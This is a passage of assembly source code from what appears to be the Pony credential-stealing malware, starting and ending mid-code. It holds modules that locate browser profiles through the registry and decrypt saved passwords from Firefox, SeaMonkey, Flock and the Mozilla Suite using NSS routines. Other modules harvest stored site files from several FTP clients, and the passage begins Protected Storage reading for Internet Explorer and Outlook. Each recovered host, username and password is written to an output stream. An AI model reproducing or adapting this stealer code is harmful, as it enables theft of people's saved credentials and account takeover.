.ENDIF .ENDIF .ENDIF mov eax, ebx ret MozillaInitNSSDecryption endp MozillaFinalNSSDecryption proc .IF mozilla_slot push mozilla_slot call PK11_FreeSlot add esp, 4*1 call NSS_Shutdown mov mozilla_slot, 0 .ENDIF ret MozillaFinalNSSDecryption endp MozillaNSSDecryptPassword proc uses ebx szPassword, dwDataLen LOCAL EncryptedSECItem: DWORD LOCAL DecryptedSECItem[12]: BYTE mov eax, szPassword .IF !eax || !dwDataLen || !byte ptr[eax] sub eax, eax ret .ENDIF .IF byte ptr[eax] != '~' && !mozilla_slot sub eax, eax ret .ENDIF .IF byte ptr[eax] == '~' mov edx, dwDataLen dec edx and edx, 3 .IF edx || dwDataLen == 1 sub eax, eax .ELSE dec dwDataLen mov eax, dwDataLen add eax, 1024 shl eax, 2 invoke MemAlloc, eax push eax mov edx, szPassword inc edx invoke Base64Decode, edx, dwDataLen, eax pop eax .ENDIF ret .ENDIF sub ebx, ebx push dwDataLen push szPassword push NULL push NULL call NSSBase64_DecodeBuffer add esp, 4*4 .IF eax mov EncryptedSECItem, eax invoke ZeroMemory, addr DecryptedSECItem, 12 push NULL lea eax, DecryptedSECItem push eax push EncryptedSECItem call PK11SDR_Decrypt add esp, 4*3 .IF !eax lea eax, DecryptedSECItem .IF dword ptr[eax+4*1] mov eax, dword ptr[eax+4*2] inc eax invoke MemAlloc, eax mov ebx, eax lea eax, DecryptedSECItem invoke MoveMem, dword ptr[eax+4*1], ebx, dword ptr[eax+4*2] .ENDIF push 0 lea eax, DecryptedSECItem push eax call SECITEM_FreeItem add esp, 4*2 .ENDIF push 1 push EncryptedSECItem call SECITEM_FreeItem add esp, 4*2 .ENDIF mov eax, ebx ret MozillaNSSDecryptPassword endp ProcessMozillaSQLiteFile proto :DWORD, :DWORD, :DWORD MozillaReadSQLFile proc stream, szSQLFile, szProfilePath, szAppPath invoke FileExists, szSQLFile .IF !eax ret .ENDIF invoke IsFileAlreadyProcessed, szSQLFile .IF eax ret .ENDIF ; Initialize NSS decryption subsystem invoke MozillaInitNSSDecryption, szProfilePath, szAppPath .IF !eax ret .ENDIF ; Process SQLite3 database using tiny db engine invoke ProcessMozillaSQLiteFile, stream, szSQLFile, ITEMHDR_ID or 0 ; Finalize NSS decryption subsystem invoke MozillaFinalNSSDecryption ret MozillaReadSQLFile endp MozillaRTrimLine proc uses ebx CurStr invoke PonyStrCat, CurStr, NULL mov ebx, eax invoke lstrlen, ebx .IF eax add eax, ebx dec eax .WHILE eax >= ebx .IF byte ptr[eax] == 0dh || byte ptr[eax] == 0ah mov byte ptr[eax], 0 .ELSE .BREAK .ENDIF dec eax .ENDW .ENDIF mov eax, ebx ret MozillaRTrimLine endp MozillaReadSignonsFile proc uses edi stream, szSignonsFile, szProfilePath, szAppPath LOCAL map: MappedFile LOCAL string_list: DWORD LOCAL state: DWORD LOCAL line1: DWORD LOCAL line2: DWORD LOCAL line3: DWORD LOCAL line4: DWORD LOCAL line5: DWORD LOCAL file_ver: DWORD LOCAL cur_line: DWORD LOCAL user_line: DWORD LOCAL pass_line: DWORD LOCAL host_line: DWORD LOCAL user: DWORD LOCAL pass: DWORD LOCAL is_old_ver: DWORD invoke FileExists, szSignonsFile .IF !eax ret .ENDIF invoke IsFileAlreadyProcessed, szSignonsFile .IF eax ret .ENDIF ; Initialize NSS decryption subsystem invoke MozillaInitNSSDecryption, szProfilePath, szAppPath invoke MapFile, szSignonsFile, addr map .IF eax invoke ProcessStringList, map.lpMem, map.dwFileSize .IF eax mov string_list, eax mov edi, eax .IF byte ptr[edi] invoke MozillaRTrimLine, edi mov file_ver, eax ; verify file version invoke lstrcmp, offset szMozillaSignonsID, file_ver push eax invoke lstrcmp, offset szMozillaSignonsID2, file_ver push eax invoke lstrcmp, offset szMozillaSignonsID3, file_ver pop edx pop ecx .IF !eax || !edx || !ecx .IF !ecx mov is_old_ver, 1 .ELSE mov is_old_ver, 0 .ENDIF ; skip version line @Next @F @@: ; skip domains for which passwords are never saved mov state, 0 @@: .IF byte ptr[edi] invoke MozillaRTrimLine, edi mov cur_line, eax .IF state == 0 invoke lstrcmp, cur_line, offset szFilePoint .IF !eax mov state, 1 .ENDIF .ELSE .IF state == 1 ; host mov line1, edi mov state, 2 .ELSEIF state == 2 ; user_input_name mov line2, edi mov state, 3 .ELSEIF state == 3 ; encrypted user mov line3, edi mov state, 4 .ELSEIF state == 4 ; password_input_name mov line4, edi mov state, 5 .ELSEIF state == 5 ; encrypted password mov line5, edi .IF is_old_ver ; 5 lines mov state, 2 .ELSE mov state, 6 .ENDIF mov host_line, 0 mov user_line, 0 mov pass_line, 0 mov user, 0 mov pass, 0 invoke MozillaRTrimLine, line1 mov host_line, eax invoke MozillaRTrimLine, line3 mov user_line, eax invoke MozillaRTrimLine, line5 mov pass_line, eax .IF mozilla_mode == MOZILLA_MODE_FTP_HTTP invoke lstrlen, offset szMozillaFTP invoke StrCmpNI, host_line, offset szMozillaFTP, eax IFDEF GRAB_HTTP .IF eax invoke lstrlen, offset szMozillaHTTP invoke StrCmpNI, host_line, offset szMozillaHTTP, eax .ENDIF .IF eax invoke lstrlen, offset szMozillaHTTPS invoke StrCmpNI, host_line, offset szMozillaHTTPS, eax .ENDIF ENDIF .ELSEIF mozilla_mode == MOZILLA_MODE_FIREFTP invoke lstrlen, offset szMozillaFireFTP invoke StrCmpNI, host_line, offset szMozillaFireFTP, eax .ELSE sub eax, eax ; allow all mailboxes .ENDIF .IF !eax ; user invoke lstrlen, user_line invoke MozillaNSSDecryptPassword, user_line, eax mov user, eax ; pass invoke lstrlen, pass_line invoke MozillaNSSDecryptPassword, pass_line, eax mov pass, eax .IF host_line && pass ; export recovered data invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteString, stream, host_line invoke StreamWriteString, stream, user invoke StreamWriteString, stream, pass .ENDIF .ENDIF invoke MemFree, host_line invoke MemFree, user_line invoke MemFree, pass_line invoke MemFree, user invoke MemFree, pass .ELSEIF state == 6 ; target host in newer versions mov state, 2 .ENDIF .IF state != 0 invoke lstrcmp, cur_line, offset szFilePoint .IF !eax ; new site mov state, 1 .ENDIF invoke lstrcmp, cur_line, offset szMozillaDashes .IF !eax ; used in newer versions only mov state, 2 .ENDIF .ENDIF .ENDIF invoke MemFree, cur_line @Next @B .ENDIF .ENDIF invoke MemFree, file_ver .ENDIF invoke MemFree, string_list .ENDIF invoke UnmapFile, addr map .ENDIF ; Finalize NSS decryption subsystem invoke MozillaFinalNSSDecryption ret MozillaReadSignonsFile endp MozillaCommonFileScan proc stream, szProfilePath, szAppPath, dir LOCAL FindFileData: WIN32_FIND_DATA LOCAL hFind: DWORD LOCAL path: DWORD LOCAL ininame: DWORD mov path, 0 mov eax, dir .IF (!eax) || (!byte ptr[eax]) jmp @not_found .ENDIF invoke CheckEndSlash, dir .IF !eax invoke PonyStrCat, dir, offset CCommonFileMask .ELSE invoke PonyStrCat, dir, offset CCommonFileMaskNoSlash .ENDIF mov path, eax invoke ZeroMemory, addr FindFileData, sizeof WIN32_FIND_DATA invoke FindFirstFile, path, addr FindFileData mov hFind, eax inc eax jz @not_found @find_loop: lea edx, FindFileData test [edx].WIN32_FIND_DATA.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY .IF !ZERO? ; is directory, scan recursively ; skip "." and ".." path names lea eax, [edx].WIN32_FIND_DATA.cFileName invoke lstrcmpi, offset szFilePoint, eax .IF !eax jmp @skip .ENDIF lea edx, FindFileData lea eax, [edx].WIN32_FIND_DATA.cFileName invoke lstrcmpi, offset szFilePPoint, eax .IF !eax jmp @skip .ENDIF invoke CheckEndSlash, dir .IF !eax invoke PonyStrCat, dir, offset szSlash .ELSE invoke PonyStrCat, dir, NULL .ENDIF lea edx, FindFileData lea edx, [edx].WIN32_FIND_DATA.cFileName invoke PonyStrCatFreeArg1, eax, edx push eax invoke MozillaCommonFileScan, stream, szProfilePath, szAppPath, eax call MemFree jmp @skip .ENDIF lea eax, [edx].WIN32_FIND_DATA.cFileName mov ininame, eax ; E-mail config files, do not process any other files .IF mozilla_mode == MOZILLA_MODE_EMAIL_CONFIG invoke StrStrI, ininame, offset szMozillaPrefsJS .IF eax invoke PonyStrCat, dir, offset szSlash invoke PonyStrCatFreeArg1, eax, ininame push eax invoke CommonAppendFile, stream, eax, ITEMHDR_ID or 1 call MemFree .ENDIF jmp @skip .ENDIF ; Newer signons.sqlite files invoke StrStrI, ininame, offset szMozillaSQLiteFile .IF eax invoke PonyStrCat, dir, offset szSlash invoke PonyStrCatFreeArg1, eax, ininame push eax invoke MozillaReadSQLFile, stream, eax, szProfilePath, szAppPath call MemFree .ENDIF ; Mozilla *.s files invoke lstrlen, ininame .IF eax >= 2 mov edx, ininame add edx, eax sub edx, 2 .IF word ptr[edx] == 's.' jmp @process_file .ENDIF .ENDIF ; Firefox signonsN.txt files invoke StrStrI, ininame, offset szMozillaSignons push eax invoke StrStrI, ininame, offset szMozillaSignons2 push eax invoke StrStrI, ininame, offset szMozillaSignons3 pop edx pop ecx .IF eax || edx || ecx @process_file: invoke PonyStrCat, dir, offset szSlash invoke PonyStrCatFreeArg1, eax, ininame push eax invoke MozillaReadSignonsFile, stream, eax, szProfilePath, szAppPath call MemFree .ENDIF @skip: invoke FindNextFile, hFind, addr FindFileData test eax, eax jnz @find_loop invoke FindClose, hFind @not_found: invoke MemFree, path ret MozillaCommonFileScan endp MozillaFindPasswordFiles proc stream, szBaseProfilePath, szAppPath invoke MozillaCommonFileScan, stream, szBaseProfilePath, szAppPath, szBaseProfilePath ret MozillaFindPasswordFiles endp MozillaScanProfiles proc uses edi stream, szBaseProfilePath, szAppPath LOCAL prof_lines: DWORD LOCAL prof_path: DWORD LOCAL prof_base_path: DWORD LOCAL prof_target_path: DWORD invoke DirectoryExists, szBaseProfilePath .IF !eax ret .ENDIF invoke DirectoryExists, szAppPath .IF !eax ret .ENDIF invoke CheckEndSlash, szBaseProfilePath .IF !eax invoke PonyStrCat, szBaseProfilePath, offset szSlash .ELSE invoke PonyStrCat, szBaseProfilePath, NULL .ENDIF mov prof_base_path, eax invoke PonyStrCat, prof_base_path, offset szMozillaProfileIni mov prof_path, eax invoke MemAlloc, 65002 mov prof_lines, eax invoke MemAlloc, 4096 mov prof_target_path, eax invoke FileExists, prof_path .IF eax invoke GetPrivateProfileSectionNames, prof_lines, 65000, prof_path .IF eax > 2 mov edi, prof_lines .IF byte ptr[edi] @@: invoke StrStrI, edi, offset szMozillaProfile .IF eax invoke GetPrivateProfileString, edi, offset szMozillaIniPath, offset szNULL, prof_target_path, 4095, prof_path .IF eax invoke GetPrivateProfileInt, edi, offset szMozillaIniIsRelative, 1, prof_path .IF eax == 1 ; Relative profile path invoke PonyStrCat, prof_base_path, prof_target_path push eax ; Fix path slashes mov edx, eax .WHILE edx && byte ptr[edx] .IF byte ptr[edx] == '/' mov byte ptr[edx], '\' .ENDIF inc edx .ENDW invoke MozillaFindPasswordFiles, stream, eax, szAppPath call MemFree .ELSE ; Absolute profile path invoke MozillaFindPasswordFiles, stream, prof_target_path, szAppPath .ENDIF .ENDIF .ENDIF @Next @B .ENDIF .ENDIF .ENDIF invoke MemFree, prof_base_path invoke MemFree, prof_target_path invoke MemFree, prof_path invoke MemFree, prof_lines invoke MozillaFindPasswordFiles, stream, szBaseProfilePath, szAppPath ret MozillaScanProfiles endp MozillaScanRegProfilePaths proc stream, hKey, szBaseRegPath, szAppName, szFolder LOCAL hkHandle: DWORD LOCAL KeyStr: DWORD LOCAL dwBufLen: DWORD LOCAL KeyIndex: DWORD LOCAL NewRegPath: DWORD LOCAL AppPath: DWORD invoke StrStrI, szBaseRegPath, szAppName .IF eax invoke RegReadValueStr, hKey, szBaseRegPath, offset szMozillaPathToExe, NULL .IF eax push eax invoke ExtractFilePath, eax .IF eax mov AppPath, eax invoke SHGetFolderPathStr, CSIDL_APPDATA .IF eax invoke PonyStrCatFreeArg1, eax, szFolder push eax invoke MozillaScanProfiles, stream, eax, AppPath call MemFree .ENDIF invoke MemFree, AppPath .ENDIF call MemFree .ENDIF .ENDIF invoke MemAlloc, 2048 mov KeyStr, eax invoke RegOpenKey, hKey, szBaseRegPath, addr hkHandle .IF eax == ERROR_SUCCESS mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, KeyStr, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF ; BaseRegPath + '\' + KeyStr invoke PonyStrCat, szBaseRegPath, addr szSlash invoke PonyStrCatFreeArg1, eax, KeyStr mov NewRegPath, eax ; recursively scan subfolders invoke MozillaScanRegProfilePaths, stream, hKey, NewRegPath, szAppName, szFolder invoke MemFree, NewRegPath inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF invoke MemFree, KeyStr ret MozillaScanRegProfilePaths endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Mozilla Firefox 0.x-5.x ; http://www.mozilla.org/en-US/firefox/new/ ; Tested: Firefox 5.0.1 ; Tested: Firefox 12.0 ; SFTP: not supported IFDEF COMPILE_MODULE_FIREFOX .code GrabFirefox proc stream LOCAL hdr_ofs: DWORD LOCAL szCurPath[MAX_PATH+1]: BYTE invoke StreamWriteModuleHeader, stream, MODULE_FIREFOX, 0 mov hdr_ofs, eax mov mozilla_mode, MOZILLA_MODE_FTP_HTTP invoke GetCurrentDirectory, MAX_PATH, addr szCurPath invoke MozillaScanRegProfilePaths, stream, dwCurrentUserKey, offset szMozillaBaseRegPath, offset szMozillaFirefox, offset szMozillaFirefoxBaseRegPath invoke MozillaScanRegProfilePaths, stream, HKEY_LOCAL_MACHINE, offset szMozillaBaseRegPath, offset szMozillaFirefox, offset szMozillaFirefoxBaseRegPath invoke SetCurrentDirectory, addr szCurPath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFirefox endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Mozilla Firefox FireFTP addon ; http://fireftp.mozdev.org/ ; Tested: Version 2.0.4 ; SFTP: implemented IFDEF COMPILE_MODULE_FIREFTP .data szFirefoxFireFTPFile db 'fireFTPsites.dat',0 .code GrabFireFTP proc stream LOCAL hdr_ofs: DWORD LOCAL szCurPath[MAX_PATH+1]: BYTE invoke StreamWriteModuleHeader, stream, MODULE_FIREFTP, 0 mov hdr_ofs, eax ; additional JSON-formatted data stored by addon invoke SHGetFolderPathStr, CSIDL_APPDATA .IF eax invoke PonyStrCatFreeArg1, eax, offset szMozillaFirefoxBaseRegPath push eax invoke CommonFileScan, stream, eax, offset szFirefoxFireFTPFile, ITEMHDR_ID or 1000h call MemFree .ENDIF mov mozilla_mode, MOZILLA_MODE_FIREFTP invoke GetCurrentDirectory, MAX_PATH, addr szCurPath invoke MozillaScanRegProfilePaths, stream, dwCurrentUserKey, offset szMozillaBaseRegPath, offset szMozillaFirefox, offset szMozillaFirefoxBaseRegPath invoke MozillaScanRegProfilePaths, stream, HKEY_LOCAL_MACHINE, offset szMozillaBaseRegPath, offset szMozillaFirefox, offset szMozillaFirefoxBaseRegPath invoke SetCurrentDirectory, addr szCurPath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFireFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Mozilla SeaMonkey 1.x-2.x ; http://www.seamonkey-project.org/ ; SFTP: not supported IFDEF COMPILE_MODULE_SEAMONKEY .data szMozillaSeaMonkey db 'SeaMonkey',0 szMozillaSeaMonkeyBaseRegPath db '\Mozilla\SeaMonkey\',0 .code GrabSeaMonkey proc stream LOCAL hdr_ofs: DWORD LOCAL szCurPath[MAX_PATH+1]: BYTE invoke StreamWriteModuleHeader, stream, MODULE_SEAMONKEY, 0 mov hdr_ofs, eax mov mozilla_mode, MOZILLA_MODE_FTP_HTTP invoke GetCurrentDirectory, MAX_PATH, addr szCurPath invoke MozillaScanRegProfilePaths, stream, dwCurrentUserKey, offset szMozillaBaseRegPath, offset szMozillaSeaMonkey, offset szMozillaSeaMonkeyBaseRegPath invoke MozillaScanRegProfilePaths, stream, HKEY_LOCAL_MACHINE, offset szMozillaBaseRegPath, offset szMozillaSeaMonkey, offset szMozillaSeaMonkeyBaseRegPath invoke SetCurrentDirectory, addr szCurPath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabSeaMonkey endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Mozilla Flock 1.x-2.x ; http://flock.com/ ; SFTP: not supported IFDEF COMPILE_MODULE_FLOCK .data szMozillaFlock db 'Flock',0 szMozillaFlockBaseRegPath db '\Flock\Browser\',0 .code GrabFlock proc stream LOCAL hdr_ofs: DWORD LOCAL szCurPath[MAX_PATH+1]: BYTE invoke StreamWriteModuleHeader, stream, MODULE_FLOCK, 0 mov hdr_ofs, eax mov mozilla_mode, MOZILLA_MODE_FTP_HTTP invoke GetCurrentDirectory, MAX_PATH, addr szCurPath invoke MozillaScanRegProfilePaths, stream, dwCurrentUserKey, offset szMozillaBaseRegPath, offset szMozillaFlock, offset szMozillaFlockBaseRegPath invoke MozillaScanRegProfilePaths, stream, HKEY_LOCAL_MACHINE, offset szMozillaBaseRegPath, offset szMozillaFlock, offset szMozillaFlockBaseRegPath invoke SetCurrentDirectory, addr szCurPath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFlock endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Mozilla Suite Browser 1.x ; SFTP: not supported IFDEF COMPILE_MODULE_MOZILLA .data szMozillaSuite db 'Mozilla',0 szMozillaSuiteBaseRegPath db '\Mozilla\Profiles\',0 .code GrabMozilla proc stream LOCAL hdr_ofs: DWORD LOCAL szCurPath[MAX_PATH+1]: BYTE invoke StreamWriteModuleHeader, stream, MODULE_MOZILLA, 0 mov hdr_ofs, eax mov mozilla_mode, MOZILLA_MODE_FTP_HTTP invoke GetCurrentDirectory, MAX_PATH, addr szCurPath invoke MozillaScanRegProfilePaths, stream, dwCurrentUserKey, offset szMozillaBaseRegPath, offset szMozillaSuite, offset szMozillaSuiteBaseRegPath invoke MozillaScanRegProfilePaths, stream, HKEY_LOCAL_MACHINE, offset szMozillaBaseRegPath, offset szMozillaSuite, offset szMozillaSuiteBaseRegPath invoke SetCurrentDirectory, addr szCurPath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabMozilla endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; LeechFTP 1.3 ; http://www.leechftp.org/ ; Tested: Version 1.3 (Build 1.3.1.207) ; SFTP: not supported IFDEF COMPILE_MODULE_LEECHFTP .data szLeechFTPBaseRegPath db 'Software\LeechFTP',0 szLeechFTPRegValue1 db 'AppDir',0 szLeechFTPRegValue2 db 'LocalDir',0 szLeechFTPBookmarkFile db 'bookmark.dat',0 .code GrabLeechFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_LEECHFTP, 0 mov hdr_ofs, eax invoke RegReadValueStr, dwCurrentUserKey, offset szLeechFTPBaseRegPath, offset szLeechFTPRegValue1, NULL .IF eax push eax invoke CommonFileScan, stream, eax, offset szLeechFTPBookmarkFile, ITEMHDR_ID or 0 call MemFree .ENDIF invoke RegReadValueStr, dwCurrentUserKey, offset szLeechFTPBaseRegPath, offset szLeechFTPRegValue2, NULL .IF eax push eax invoke CommonFileScan, stream, eax, offset szLeechFTPBookmarkFile, ITEMHDR_ID or 0 call MemFree .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabLeechFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Odin Secure FTP Expert ; http://www.odinshare.com/secure-ftp-expert.html ; Tested: Version 6.5.3 ; Tested: Version 7.6.3 ; SFTP: not supported IFDEF COMPILE_MODULE_ODIN .data szOdinConfigFile db 'SiteInfo.QFP',0 szOdinInstName db 'Odin',0 .code GrabOdin proc uses esi edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_ODIN, 0 mov hdr_ofs, eax invoke SHGetFolderPathStr, CSIDL_DESKTOP .IF eax push eax invoke CommonFileScan, stream, eax, offset szOdinConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF mov esi, lpInstalledList mov edi, lpInstalledNames .IF byte ptr[edi] @n: invoke StrStrI, edi, offset szOdinInstName .IF eax invoke ExtractFilePath, esi push eax invoke CommonFileScan, stream, eax, offset szOdinConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF .WHILE byte ptr[esi] inc esi .ENDW inc esi @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabOdin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; WinFTP ; Tested: WinFTP 1.6.8 ; SFTP: not supported IFDEF COMPILE_MODULE_WINFTP .data szWinFTPConfigFile db 'Favorites.dat',0 szWinFTPInstName db 'WinFTP',0 .code GrabWinFTP proc uses esi edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_WINFTP, 0 mov hdr_ofs, eax mov esi, lpInstalledList mov edi, lpInstalledNames .IF byte ptr[edi] @n: invoke StrStrI, edi, offset szWinFTPInstName .IF eax invoke ExtractFilePath, esi push eax invoke CommonFileScan, stream, eax, offset szWinFTPConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF .WHILE byte ptr[esi] inc esi .ENDW inc esi @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabWinFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FTP Surfer 1.0.7 ; http://www.whispertech.com/ ; Tested: FTP Surfer 1.0.7 ; SFTP: not supported IFDEF COMPILE_MODULE_FTP_SURFER .data szFTPSurferConfigFile db 'sites.db',0 szFTPSurferRegPath db 'CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32',0 .code GrabFTPSurfer proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FTP_SURFER, 0 mov hdr_ofs, eax invoke RegReadValueStr, HKEY_CLASSES_ROOT, offset szFTPSurferRegPath, NULL, NULL .IF eax invoke ExtractFilePath, eax push eax invoke CommonFileScan, stream, eax, offset szFTPSurferConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFTPSurfer endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FTPGetter 3 ; http://www.ftpgetter.com/ ; Tested: Version 3.69.0.21 ; Tested: Version 3.77.0.17 ; SFTP: implemented IFDEF COMPILE_MODULE_FTPGETTER .data CFTPGetterConfigFile db 'servers.xml',0 CFTPGetterAppDataDir db '\FTPGetter',0 .code GrabFTPGetter proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FTPGETTER, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFTPGetterAppDataDir, offset CFTPGetterConfigFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFTPGetter endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; ALFTP 5 ; http://www.altools.com/ALTools/ALFTP.aspx ; Tested: Version 4.11 Beta 1 ; Tested: Version 5.20.0.4 ; SFTP: implemented IFDEF COMPILE_MODULE_ALFTP .data CALFTPConfigFile db 'ESTdb2.dat',0 CALFTPQuickConfigFile db 'QData.dat',0 CALFTPAppDataDir db '\Estsoft\ALFTP',0 .code GrabALFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_ALFTP, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CALFTPAppDataDir, offset CALFTPConfigFile, ITEMHDR_ID or 0 invoke AppDataCommonFileScan, stream, offset CALFTPAppDataDir, offset CALFTPQuickConfigFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabALFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; IE 4-9 ; Tested: Version 9.0.8112.16421 (9.0.6) ; SFTP: not supported IFDEF COMPILE_MODULE_IE COMPILE_PS_READER equ 1 ENDIF IFDEF COMPILE_MODULE_OUTLOOK IFDEF GRAB_EMAIL COMPILE_PS_READER equ 1 ENDIF ENDIF IFDEF COMPILE_PS_READER PST_KEY_CURRENT_USER equ 0 ; Specifies that the storage is maintained in the current user section of the registry. PST_KEY_LOCAL_MACHINE equ 1 ; Specifies that the storage is maintained in the local machine section of the registry. ; Specifies whether the prompt dialog is shown. This flag is ignored in Windows XP. PST_PF_ALWAYS_SHOW equ 1 ; Requests that the provider show the prompt dialog to the user even if not required for this access. PST_PF_NEVER_SHOW equ 2 ; Do not show the prompt dialog to the user. ; IPStore Interface IPStore struct DWORD IPStore_QueryInterface comethod3 ? IPStore_AddRef comethod1 ? IPStore_Release comethod1 ? IPStore_GetInfo comethod2 ? IPStore_GetProvParam comethod5 ? IPStore_SetProvParam comethod5 ? IPStore_CreateType comethod5 ? IPStore_GetTypeInfo comethod5 ? IPStore_DeleteType comethod4 ? IPStore_CreateSubtype comethod7 ? IPStore_GetSubtypeInfo comethod6 ? IPStore_DeleteSubtype comethod5 ? IPStore_ReadAccessRuleset comethod6 ? IPStore_WriteAccessRuleset comethod6 ? IPStore_EnumTypes comethod4 ? IPStore_EnumSubtypes comethod5 ? IPStore_DeleteItem comethod7 ? IPStore_ReadItem comethod9 ? IPStore_WriteItem comethod10 ? IPStore_OpenItem comethod8 ? IPStore_CloseItem comethod6 ? IPStore_EnumItems comethod6 ? IPStore ends ; IEnumPStoreTypes/IEnumPStoreItems Interface (there's difference in ; pointer type of ::Next function only) IEnumPStoreTypes struct DWORD IEnumPStoreTypes_QueryInterface comethod3 ? IEnumPStoreTypes_AddRef comethod1 ? IEnumPStoreTypes_Release comethod1 ? IEnumPStoreTypes_Next comethod4 ? IEnumPStoreTypes_Skip comethod2 ? IEnumPStoreTypes_Reset comethod1 ? IEnumPStoreTypes_Clone comethod2 ? IEnumPStoreTypes ends ; Used while reading item data _PST_PROMPTINFO struct DWORD cbSize DWORD ? dwPromptFlags DWORD ? hwndApp DWORD ? szPrompt DWORD ? _PST_PROMPTINFO ends ; Crypt32 CRYPTPROTECT_UI_FORBIDDEN equ 1 ; This flag is used for remote situations where the user interface (UI) is not an option. DATA_BLOB struct DWORD cbData dd ? ; Data length pbData dd ? ; Pointer to data DATA_BLOB ends ; Convert pType GUID to readable string TypeNameToStr proc pType, lpBuf, ppProvider LOCAL pst: DWORD coinvoke ppProvider, IPStore, GetTypeInfo, 0, pType, addr pst, 0 test eax, eax jnz @ret mov edx, pst nop invoke WideCharToMultiByte, CP_ACP, 0, dword ptr[edx+4], -1, lpBuf, 1023, NULL, NULL nop invoke CoTaskMemFree, pst @ret: ret TypeNameToStr endp ; Convert pType & pSubtype GUIDs to readable string SubtypeNameToStr proc pType, pSubtype, lpBuf, ppProvider LOCAL pst: DWORD coinvoke ppProvider, IPStore, GetSubtypeInfo, 0, pType, pSubtype, addr pst, 0 test eax, eax jnz @ret mov edx, pst nop invoke WideCharToMultiByte, CP_ACP, 0, dword ptr[edx+4], -1, lpBuf, 1023, NULL, NULL nop invoke CoTaskMemFree, pst @ret: ret SubtypeNameToStr endp ReadPSItems proc uses edi pType, pSubtype, stream, ppProvider, callback LOCAL WSTRBuf[16]: DWORD LOCAL 